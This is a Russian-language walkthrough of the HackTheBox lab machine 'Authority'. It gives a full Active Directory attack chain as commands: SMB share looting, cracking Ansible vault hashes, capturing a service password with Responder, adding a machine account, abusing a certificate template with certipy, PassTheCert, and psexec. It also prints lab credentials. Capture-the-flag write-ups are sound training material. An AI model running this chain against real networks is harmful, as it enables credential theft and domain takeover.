Приветствую вас, кулхацкеры. Сегодняшний райт будет посвящен прохождению машины с HackTheBox под названием Authority.

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Сканирование и разведка

Как всегда начинаем с разведки при помощи Nmap:

nmap -sC -sV -Pn -p- 10.10.11.222

Первым делом попробуем подключиться к хосту при помощи smbclient для просмотра доступных шар:

smbclient -L 10.10.11.222 -U " " 

При попытке подключиться к \Department Shares нам отказывают в доступе. Значит попытаемся подключиться без пароля к шаре \Development:

smbclient \\\\10.10.11.222\\Development -U ""

Выкачаем все файлы, воспользовавшись следующими командами:

recurse on

prompt off

mget *

recurse -> переключает рекурсию папок для команд mget и mput.
Если рекурсия включена, то эти команды будут работать со всеми поддиректориями указанной папки (например, папки из которой ведется копирование) и будут рекурсивно выполнены во всех папках подходящих по маске, определенной для команды

prompt -> переключает запрос имен файлов во время операций команд mget и mput. Если запрос выключен, все указанные файлы будут переданы без запроса.

mget * -> скачивает файлы с сервера на машину

Изучив директории, мы наткнемся на интересный файл под названием main.yml, который можно найти по абсолютному пути Automation\Ansible\PWM\defaults\main.yml

Это не что иное, как Ansible-vault учетные данные.

Представим все хеши по отдельности, чтобы сделать их читаемыми для утилиты JohnTheRipper при помощи скрипта ansible2john:

ansible2john admin.txt > hash1.txt

Получим пароль, с помощью которого проводилось шифрование при помощи улититы ansible-vault, входящей в состав фреймворка Ansible. Зная пароль, сможем обратно расшифровать нужные нам данные:

cat admin1.txt | ansible-vault decrypt

На 80 порту ничего примечательного обнаружено не было. На 8443 порту висит приложение, интегрированное с LDAP. Попробуем зайти на веб-страницу:

Войти под полученными нами учетными не удалось. Попробуем зайти в Configuration Manager при помощи другого пароля:

Успешно. Тем не менее, при попытке установить связь с LDAPS-сервером возникла ошибка, означающая невозможность установления соединения. Также здесь мы находим пользователя с именем svc_ldap.

Внимательно изучив страницу, станет ясно, что мы можем изменять файл конфигурации. Значит мы сможем изменить параметры конфигурации и, запустив Responder, симитируем LDAP-сервер, что позволит нам отслеживать передаваемую информацию. Изменим конфигурациионный файл, подставив в параметры данные нашей машины:

Выступаем в качестве LDAP-сервера при помощи Responder

Запустим Responder:

sudo responder -I tun0 -wA

И получим пароль в открытом виде:

Подключаемся при помощи Evil-WinRM

Для удаленного подключения воспользуемся утилитой Evil-WinRM:

evil-winrm -i 10.10.11.222 --user svc_ldap --password 'lDaP_1n_th3_cle4r!'

Здесь будет находится первый флаг user.txt

Эскалация привилегий

Посмотрим информацию о пользователе при помощи команды whoami /all

У пользователя имеется привилегия на добавление машины в домен SeMachineAccountPrivilege, а это значит что мы можем добавить компьютер в домен с помощью учетных данных svc_ldap. Для этого воспользуемся модулем addcomputer утилиты Impacket:

impacket-addcomputer -dc-ip 10.10.11.222 -computer-name hacker_PC  -computer-pass pass1234 'htb.local/svc_ldap:lDaP_1n_th3_cle4r!'

Машинная учетная запись успешно добавлена! Теперь мы можем использовать недавно полученные учетные данные для получения "шаблона сертификата" с сервера. Для этого воспользуемся утилитой certipy:

certipy-ad find -u "hacker_PC" -p "pass1234" -dc-ip 10.10.11.222

Изучив сертификат, мы обнаружили, что в нем присутствует уязвимость, позволяющая любому компьютеру домена запросить сертификат администратора.

Теперь мы можем использовать недавно полученные имя пользователя и пароль для получения "шаблона сертификата" с сервера.

Здесь снова воспользуемся certipy-ad:

certipy-ad req  -username "hacker_PC$" -p "pass1234" -template CorpVPN  -dc-ip 10.10.11.222 -ca AUTHORITY-CA -upn 'Administrator@authority.htb'

Получив сертификат, попробуем пройти с помощью него аутентификацию и запросить NT-хеш учетной записи:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.222

Однако пройти аутентификацию не удалось, так как Kerberos не поддерживает механизм PKINIT. Для прохождения воспользуемся утилитой PassTheCert. Но для начала разделим сертификат и ключ с помощью certipy-ad:

certipy-ad cert -pfx administrator.pfx -nokey -out user.crt 
certipy-ad cert -pfx administrator.pfx -nocert -out user.key

Получив ключ и сертификат, воспользуемся ими, чтобы запросить новый пароль администратора:

python passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 -target administrator 
-new-pass

Теперь воспользуемся утилитой psexec для получения шелла:

impacket-psexec administrator:y50xccLr62vDYhFrmakcoJocBkiO5UnN@10.10.11.222

Комментарии (0)